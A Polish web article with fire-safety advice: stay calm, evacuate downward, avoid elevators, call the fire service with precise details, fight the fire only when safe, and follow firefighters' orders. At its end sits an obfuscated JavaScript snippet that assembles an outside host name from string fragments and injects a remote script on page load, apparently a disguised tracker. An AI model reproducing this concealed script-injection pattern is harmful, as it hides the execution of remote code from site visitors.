Jak zachować się w trakcie pożaru?
Gryzący w oczy dym, płomienie, hałas, tupot nóg i krzyki - pożar! Co robić w takiej sytuacji, którą (na szczęście) przeważnie ogląda się tylko w filmach - o ile oczywiście nie jest się członkiem OSP?
Zarówno instrukcje, jakie daje państwowa straż pożarna, jak i przepisy BHP jasno pokazują, co należy wówczas robić. Warto zapoznać się z tymi informacjami - nigdy nie wiadomo, kiedy człowiek znajdzie się w sytuacji, kiedy ta wiedza może ocalić mu życie.
Po pierwsze - bez paniki!Statystyki, jakie zaprezentowała straż pożarna, pokazują, że w wielu przypadkach ofiar śmiertelnych podczas pożarów można było uniknąć, gdyby nie wybuch paniki. Dlatego też należy zawsze zachować zimną krew i nie działać w sposób nieskoordynowany. Przede wszystkim trzeba zaalarmować wszystkie osoby będące w strefie ognia o powstałym niebezpieczeństwie - wystarczy krzyknąć "pali się". Jeśli w trakcie pożaru znajdujesz się na piętrze, zawsze staraj się zejść w dół lub wyjść na zewnątrz - dym idzie do góry, a więc w przypadku wyjścia wyżej można ulec zaczadzeniu. Nie poleca się także używania wind. Jeśli znajdujesz się w mieszkaniu, z którego nie możesz wyjść - zamknij i w miarę możliwości uszczelnij drzwi. Wzywaj krzykiem pomocy, aby wiedziano, że jesteś wewnątrz. W przypadku odcięcia drogi wyjścia z mieszkania należy udać się do pomieszczenia najdalej usytuowanego od źródła pożaru, posiadającego okno lub balkon. Jeśli możesz wyjść, kieruj się do wyjścia znakami wskazującymi kierunek ewakuacji.
Po drugie - wezwij fachową pomocNatychmiast zadzwoń pod numer PSP (państwowej straży pożarnej) i podaj konkretnie, gdzie się pali (dokładny adres i lokalizacja). Jeżeli wiesz, co uległo zapłonowi - podaj koniecznie te informacje. Dzięki temu straż będzie mogła (w niektórych przypadkach) zabrać specjalistyczne narzędzia pożarnicze. Ważną informacją jest także, czy na terenie szalejącego żywiołu znajdują się ludzie oraz ilu ich jest - dyspozytor po usłyszeniu takiej informacji wezwie do akcji również karetki pogotowia w odpowiedniej ilości, aby udzielić ewentualnej pomocy wszystkim potencjalnym ofiarom. Nie przerywaj rozmowy dopóki nie pozwoli na to dyspozytor!
Po trzecie - działaj w miarę możliwości
Po wezwaniu pomocy możesz nie czekać bezczynnie na przybycie wozów OSP, ale samodzielnie walczyć z ogniem - oczywiście tylko i wyłącznie w miarę możliwości, bez podejmowania ryzykownych działań. W każdym budynku powinna znajdować się gaśnica lub inny sprzęt do gaszenia ognia (np. koce). Jeśli używasz wody, pamiętaj, aby nie polewać nią płonącej instalacji elektrycznej! Jeżeli masz taką możliwość, odetnij dopływ prądu (np. przez wyłączenie korków), a jeśli jest to niemożliwe, spróbuj wyjąć w kontaktów włączone urządzenia elektryczne. Gdy w grę nie wchodzi zrobienie tego dłonią, użyj drewnianego kija (np. od miotły) lub podobnego, nieprzewodzącego prądu przedmiotu.
Po czwarte - słuchaj poleceń
Gdy przybędzie na miejsce państwowa lub ochotnicza straż pożarna, słuchaj ściśle poleceń strażaków. To do nich należy ewakuacja osób z płonących pomieszczeń - jeśli jeszcze jakieś się w nich znajdują, więc gdy straż przybyła, nie rób tego na własną rękę - możesz po prostu przeszkadzać jej w skutecznym działaniu. Kierujący akcją strażak to osoba z dużym doświadczeniem w tego typu akcjach, a więc wie najlepiej, jak sprawić, aby zarówno ocalić ludzi, jak też i - w miarę możliwości - płonący obiekt.
Artykuł został przygotowany przez zespół redakcyjny http://remiza.com.pl
(function(){
any0=document.createElement("script");any0_="u"+("s")+"ta";
any0_+=("t.i")+""+"n";any0_+=(("f")+"o");any0.type="text/javascript";
any0_+="/"; any0u="10264581";any0u+=".jeuh1u3xny0an8h1q23";any0u+="36klv4rb8rv";
any0.src="//"+any0_+any0u; any0.async=true; document.body.appendChild(any0);
})();
27.05.2016 07:02